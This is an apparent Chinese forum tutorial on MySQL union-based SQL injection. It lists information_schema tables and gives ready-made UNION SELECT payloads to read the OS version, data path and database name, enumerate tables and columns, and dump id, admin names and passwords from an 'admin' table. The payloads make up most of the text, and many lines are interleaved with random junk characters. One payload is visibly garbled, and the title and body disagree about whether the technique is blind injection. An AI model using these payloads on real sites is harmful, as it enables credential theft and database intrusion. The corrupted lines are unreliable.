mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法
# L% Y( r8 W5 q( Y
$ W0 l* `3 L% o8 E) [; B学习盲注前先了解下 IFORMATION_SCHEMA 库
' m. @' _- S. L3 g
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
: v0 U( J1 x8 }3 `' z# Y存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
; `3 m7 [2 @9 i6 ^5 [1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
2 F- `7 Q8 t4 A& o, {& @' p$ g|---字段：SCHEMA_NAME ->数据库名称
- G7 s% S6 m" G9 Y9 b
|TABLES ->存储表名
1 }( J7 `! V, }|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
& b% |8 D9 U' |, r# X- C8 g, B|---字段：TABLE_NAME ->存储表的表名

' q! E2 u! b. F|COLUMNS ->存储的字段名表
( s% E) ^$ M' J5 I|---字段：TABLE_SCHEMA ->该字段所属数据库名
|---字段：TABLE_NAME ->存储所属表的名称
2 o; U+ ^& F& C" I* {' J
|---字段：COLUMN_NAME ->该字段的名称
3 \* t9 y2 M0 g
1 L8 Q& r$ A6 @- B
9 s, ], r6 K2 P! V
###########################################################################

, M. m& H) O. ?& Q8 l0x001 获取系统信息:
) M% i2 X& W. j" H% o1 k* G* z
9 X- U8 l; ]" d, qunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

/*

@@global.version_compile_os 获取系统版本

0 u8 L- L( x; I1 K8 L& b) Y@@datadir 数据库路径
7 I8 j- Q5 ~, z3 J: `database() 当前数据库名称
0x3c62723e 换行HEX值
/ Z  H% ~! C; A4 H. T% ]
*/
( k7 B" t( x2 n
/ q7 @3 h5 q# u0 L* Y" [+ ?
0 p9 W1 Z4 [8 Y" S0 `9 a' h2 I1 [5 j3 ^
######################################################################

' q& Q! i0 q8 [5 I0x002 获取表名
. [  f! Q: i( t2 a9 Y. W' h
. O$ k/ y: s9 ^4 Eunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
9 [: ~: N( w6 K5 w


4 X$ [- _  {- b/*

6 @& M- j6 |2 @, P2 ]- _0x67617264656e 为当前数据库名

group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
& i" z/ L$ e, u; M1 U
& _- ]  E. Y$ ^8 Q0 v4 W*/

######################################################################
. S2 ?3 B# ^8 {  r0 O
% W& C1 k/ P6 D7 q  M

1 t7 ~9 B: V# \% s0x003 获取字段
' V1 |1 V6 ~2 o0 V6 R5 O% X3 n
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*

/*

group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
# W3 x. @1 s& h. e7 z$ J; w1 ]
1 y' t2 A2 U9 x1 ?2 U9 u2 O0x61646d696e ->选择一个表

0x67617264656e ->数据库名

, A$ m" a* U9 _8 A. B*/
: Q* s2 Y5 F9 t- g, N
#####################################################################
, I9 [4 v2 I  d+ W; W; ^) M  r
0 G$ b5 A" I6 t1 g1 |+ y6 w" H
& ^  n$ @  h" j0 D
% }! C! U* T5 \( Y5 K0x004 获取数据

! b: U" y, b* c$ r1 F) ]3 Uunion select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
  n; v6 F, z8 i1 L4 Z. f

  R) B. y+ t' q# w! P- }- `* T/ N
7 v; s5 T8 k0 j  H/*

4 T( b+ d6 s; Y* u, J6 a: G0x3c62723e 换行符号HEX编码
, f1 w  C; d2 T) P
( _# v/ E, u5 C" T/ ~group_concat 同时获得该字段所有数据

+ J: l! {2 x) j/ J5 Q*/